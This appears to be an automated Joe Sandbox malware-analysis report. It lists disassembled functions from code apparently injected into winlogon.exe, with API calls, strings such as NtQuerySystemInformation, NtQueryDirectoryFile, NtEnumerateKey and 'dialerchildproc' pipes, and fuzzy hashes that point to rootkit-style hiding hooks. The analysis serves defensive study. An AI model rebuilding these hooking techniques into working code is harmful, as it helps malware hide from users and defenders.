Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17CA

Sleep.KERNEL32 ref: 000002D0165E1AD7
SleepEx.KERNELBASE ref: 000002D0165E1ADD

Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E17E5
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1805
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1820
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1840
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E185B
Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E187B
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1896
Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E18A0

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 07e4e4e3ba5978a263fb33c37be15a198cbe7b0fb120eabd57c8358f31885df7
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: D331C061A006C141FF709BA6DEC93E9B3A9AB44BC6F8454279E0E8B7B5EE15CD51C210

Non-executed Functions

Function 000002D0165E2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002D0165E2BD0
lstrlenW.KERNEL32 ref: 000002D0165E2E0A

Part of subcall function 000002D0165E199C: OpenProcess.KERNEL32 ref: 000002D0165E19C2
Part of subcall function 000002D0165E199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002D0165E19E0
Part of subcall function 000002D0165E199C: PathFindFileNameW.SHLWAPI ref: 000002D0165E19EF
Part of subcall function 000002D0165E199C: lstrlenW.KERNEL32 ref: 000002D0165E19FB
Part of subcall function 000002D0165E199C: StrCpyW.SHLWAPI ref: 000002D0165E1A0E
Part of subcall function 000002D0165E199C: CloseHandle.KERNEL32 ref: 000002D0165E1A1C

GetProcAddress.KERNEL32 ref: 000002D0165E2BE5

Part of subcall function 000002D0165E152C: StrCmpIW.SHLWAPI ref: 000002D0165E155D

Part of subcall function 000002D0165E3844: StrCmpNIW.SHLWAPI ref: 000002D0165E385C

StrCmpNIW.SHLWAPI ref: 000002D0165E2C28
lstrlenW.KERNEL32 ref: 000002D0165E2D50

Strings

\Device\Nsi, xrefs: 000002D0165E2C1B
NtQueryObject, xrefs: 000002D0165E2BDB
ntdll.dll, xrefs: 000002D0165E2BC9

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: d3b596ab05dff9b38269f4f9cd95cbcd315625dbf01702ec5e409f4043454db4
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 40B18166210AD18AEF648FA5DD887A9B3A5FB44BC4F849017EE0D537A8DF36CE41C740

Function 000002D0165E7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002D0165E7DAC
RtlCaptureContext.NTDLL ref: 000002D0165E7DD9
RtlLookupFunctionEntry.NTDLL ref: 000002D0165E7DF3
RtlVirtualUnwind.NTDLL ref: 000002D0165E7E34
IsDebuggerPresent.KERNEL32 ref: 000002D0165E7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D0165E7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002D0165E7EB4

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 20d5fac5d31b6f1b1b7ff7f3eed5433fc4695a7276fd3db9f08efe4689facb88
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 8A311C76205BC08AEB609FA0EC947ED7365F785744F84442ADA4E57BA8EF39CA48C710

Function 000002D0165ED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002D0165ED31D
RtlLookupFunctionEntry.NTDLL ref: 000002D0165ED335
RtlVirtualUnwind.NTDLL ref: 000002D0165ED370
IsDebuggerPresent.KERNEL32 ref: 000002D0165ED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D0165ED3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002D0165ED3BE

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3b7d1831335daaf51ebfd733c592f0e35ffd938c3d674718b742b5f189087fd6
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 09314036214FC086EB60CF65EC843AE73A4F789754F940226EA9D47BA5DF39CA55CB00

Function 000002D0165E12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E1319
GetProcessHeap.KERNEL32 ref: 000002D0165E1327
HeapAlloc.KERNEL32 ref: 000002D0165E1338
RegEnumValueW.ADVAPI32 ref: 000002D0165E1397

Part of subcall function 000002D0165E152C: StrCmpIW.SHLWAPI ref: 000002D0165E155D

GetProcessHeap.KERNEL32 ref: 000002D0165E13DF
HeapAlloc.KERNEL32 ref: 000002D0165E13ED
GetProcessHeap.KERNEL32 ref: 000002D0165E140A
HeapFree.KERNEL32 ref: 000002D0165E1418
lstrlenW.KERNEL32 ref: 000002D0165E1421
GetProcessHeap.KERNEL32 ref: 000002D0165E142F
HeapAlloc.KERNEL32 ref: 000002D0165E143D
StrCpyW.SHLWAPI ref: 000002D0165E145F
GetProcessHeap.KERNEL32 ref: 000002D0165E1476
HeapFree.KERNEL32 ref: 000002D0165E1484

Strings

d, xrefs: 000002D0165E135A

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: e3e3399429e55960cf070cc16a5005b5190db7e605521ce6618ec048f68560e7
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: BE517F76200B8486EB60CFA2E88879AB7A1F788FC9F844126DE4D07768DF3DC545CB10

Function 000002D0165E1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002D0165E1D1F

Part of subcall function 000002D0165E1FD4: GetModuleHandleA.KERNEL32 ref: 000002D0165E1FEC
Part of subcall function 000002D0165E1FD4: GetProcAddress.KERNEL32 ref: 000002D0165E1FFD

Part of subcall function 000002D0165E5B30: GetCurrentThreadId.KERNEL32 ref: 000002D0165E5B6B

Strings

NtEnumerateKey, xrefs: 000002D0165E1DB9
NtQuerySystemInformation, xrefs: 000002D0165E1D45
sechost.dll, xrefs: 000002D0165E1E39
NtQueryDirectoryFileEx, xrefs: 000002D0165E1D9C
NtQueryDirectoryFile, xrefs: 000002D0165E1D7F
NtEnumerateValueKey, xrefs: 000002D0165E1DD6
NtResumeThread, xrefs: 000002D0165E1D62
EnumServicesStatusExW, xrefs: 000002D0165E1E11, 000002D0165E1E32
ntdll.dll, xrefs: 000002D0165E1D2D
NtDeviceIoControlFile, xrefs: 000002D0165E1E56
advapi32.dll, xrefs: 000002D0165E1DF7, 000002D0165E1E18
EnumServiceGroupW, xrefs: 000002D0165E1DF0

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 9dee3d71542fb905587bd6568b7d178f2fe6f5c2276b71c2ce632fa0ceebaf95
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: B731C2A5500ACAA0EF50EFE5ECD97D4B324BB04385FC09563A42D02179AF79CF49C7A0

Function 000002D016586910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D016586938
__scrt_acquire_startup_lock.LIBCMT ref: 000002D01658698A
_RTC_Initialize.LIBCMT ref: 000002D0165869B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D0165869DE
__scrt_release_startup_lock.LIBCMT ref: 000002D016586A09

Strings

scriptor', xrefs: 000002D016586B39, 000002D016586BB2, 000002D016586BEC
`eh vector copy constructor iterator', xrefs: 000002D016586A3B
`dynamic initializer for ', xrefs: 000002D0165869C7
`eh vector vbase copy constructor iterator', xrefs: 000002D0165869EE

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dd7692e2b99b60a86f76d6b3ad3452ab25c272ff970cedf1c1e1e01c02871081
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 8B81B1616102E186FB50ABE7DCDD3592298EB85B88FD48027AA4D47FB7DB38CD458720

Function 000002D0165ECE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002D0165ECE37
FlsGetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECE4C
FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECE6D
FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECE9A
FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECEAB
FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECEBC
SetLastError.KERNEL32 ref: 000002D0165ECED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF0D
FlsSetValue.KERNEL32(?,?,00000001,000002D0165EECCC,?,?,?,?,000002D0165EBF9F,?,?,?,?,?,000002D0165E7AB0), ref: 000002D0165ECF2C

Part of subcall function 000002D0165ED6CC: HeapAlloc.KERNEL32 ref: 000002D0165ED721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF54

Part of subcall function 000002D0165ED744: HeapFree.KERNEL32 ref: 000002D0165ED75A
Part of subcall function 000002D0165ED744: GetLastError.KERNEL32 ref: 000002D0165ED764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF76

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 6cb119c879d4005e3e486556fd0f16809afcb4c169a1b85a080ac9ab7b906ee7
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: D14162212016C546FF69A7F95DDE369E2425B447B0FD4472BB83E0A7F6DE2ACE418200

Function 000002D0165E2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002D0165E2259
GetCurrentProcessId.KERNEL32 ref: 000002D0165E2263

Part of subcall function 000002D0165E1934: OpenProcess.KERNEL32 ref: 000002D0165E1952
Part of subcall function 000002D0165E1934: IsWow64Process.KERNEL32 ref: 000002D0165E1968
Part of subcall function 000002D0165E1934: CloseHandle.KERNEL32 ref: 000002D0165E1983

CreateFileW.KERNEL32 ref: 000002D0165E22BC
WriteFile.KERNEL32 ref: 000002D0165E22E4
ReadFile.KERNEL32 ref: 000002D0165E2303
CloseHandle.KERNEL32 ref: 000002D0165E230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000002D0165E2293
\\.\pipe\dialerchildproc64, xrefs: 000002D0165E228C

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 27c92a905a2f4f6f1a7d1a88f5f4c691c2a465980edda73e2f7a22435be0af33
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 92212F3661479082FB108B65F88875977A5F789BA5F904216EA5D03BB8DF7CC949CF00

Function 000002D0165EA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D0165EA5A1

Part of subcall function 000002D0165EB414: __GetUnwindTryBlock.LIBCMT ref: 000002D0165EB457
Part of subcall function 000002D0165EB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D0165EB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D0165EA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D0165EA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D0165EA9DA

Strings

csm, xrefs: 000002D0165EA622
csm, xrefs: 000002D0165EA5BB
csm, xrefs: 000002D0165EA69C

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 3b43c7ab403b83ca95457f37da0d4b500b38ba5a1a126430ff915fab710d6147
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 7BE14C72A047C08AEF60DFB5988839DB7A0F755798F900117EE8D57BA9CB36CA91C740

Function 000002D016589944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D0165899A1

Part of subcall function 000002D01658A814: __GetUnwindTryBlock.LIBCMT ref: 000002D01658A857
Part of subcall function 000002D01658A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D01658A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D016589A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D016589CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D016589DDA

Strings

csm, xrefs: 000002D0165899BB
csm, xrefs: 000002D016589A9C
csm, xrefs: 000002D016589A22

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 8d33458c817a64122548c589ceefed1e9e6f3c6a843f5d4004e67bc5e997e060
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 16E170726057808AEB60DFAAD8C839D77B8F755B98F900116EE8D57FA6CB34C991C700

Function 000002D0165EF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002D0165EF510
GetProcAddress.KERNEL32 ref: 000002D0165EF51C

Strings

ext-ms-, xrefs: 000002D0165EF46D
api-ms-, xrefs: 000002D0165EF45A

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: d0c3c69c08ddd6f5c27ead1c77a57a672af2ad5f3c132c9258f8044c477055ab
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: D0410622311A9091FF16CFEAAD88756A395B744BE0FC4412B9D4E877A4EE3ECE458310

Function 000002D0165E104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E10B1
RegEnumValueW.ADVAPI32 ref: 000002D0165E1117
GetProcessHeap.KERNEL32 ref: 000002D0165E115A
HeapAlloc.KERNEL32 ref: 000002D0165E1168
GetProcessHeap.KERNEL32 ref: 000002D0165E1185
HeapFree.KERNEL32 ref: 000002D0165E1193

Strings

d, xrefs: 000002D0165E10D6

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 60b4ca63da48bf83ee31c643dec68d0684812f94169e8e12275eb22dcfa7cc50
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: F4416273614BC4C6EB64CFA1E88879EB7A1F388B99F448116DA8D07768DF39C945CB40

Function 000002D0165ED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED087
FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0A6
FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0CE
FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0DF
FlsSetValue.KERNEL32(?,?,?,000002D0165EC7DE,?,?,?,?,?,?,?,?,000002D0165ECF9D,?,?,00000001), ref: 000002D0165ED0F0

Strings

Y%, xrefs: 000002D0165ED0A6
1%, xrefs: 000002D0165ED0CE

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 7080bbce82f1be4da0ddcc39a1ebc959a46846a47c0639f49ef077fcb6817628
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: F51133617042C442FF6857ED5DDD369E2415B447F0FD84327A83E466FAEE2ACE428600

Function 000002D0165E7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D0165E7538
__scrt_acquire_startup_lock.LIBCMT ref: 000002D0165E758A
_RTC_Initialize.LIBCMT ref: 000002D0165E75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D0165E75DE
__scrt_release_startup_lock.LIBCMT ref: 000002D0165E7609

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: cc22ab156fd64d921cb8bab48c84aed77748f638e97627413a858d82ffff3ace
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2E819F216007C186FF50ABE5ACC93B9E690EB85784FD4442BEA4D477B6EB3ACE45C700

Function 000002D0165E9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002D0165E9E49
GetLastError.KERNEL32 ref: 000002D0165E9E57
LoadLibraryExW.KERNEL32 ref: 000002D0165E9E81
FreeLibrary.KERNEL32 ref: 000002D0165E9EC7
GetProcAddress.KERNEL32 ref: 000002D0165E9ED3

Strings

api-ms-, xrefs: 000002D0165E9E69

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: aca1f05cb46fc00515c66d976e56b7ae3e88fb2388c081806b711800b0246c42
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 5031B821312BD1D1EF15DBD2AC88755A3A4B748BA0FD909279E1D477B0EF3ACA558310

Function 000002D0165F3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002D0165F3DE5
GetLastError.KERNEL32 ref: 000002D0165F3DF1
CloseHandle.KERNEL32 ref: 000002D0165F3E09
CreateFileW.KERNEL32 ref: 000002D0165F3E34
WriteConsoleW.KERNEL32 ref: 000002D0165F3E53

Strings

CONOUT$, xrefs: 000002D0165F3E15

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: d628bd0090cde46b23efa145587aed2904a5f36c40d9d109057e4cb8b91bb961
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 71118F31310BD086E7508BA2EC88719B6A4F788FE5F944266EE5E877B5CF78CC148744

Function 000002D0165E2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E2F27
HeapAlloc.KERNEL32 ref: 000002D0165E2F3A
StrCmpNIW.SHLWAPI ref: 000002D0165E2FAF
GetProcessHeap.KERNEL32 ref: 000002D0165E3015
HeapFree.KERNEL32 ref: 000002D0165E3023

Strings

dialer, xrefs: 000002D0165E2FA8

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
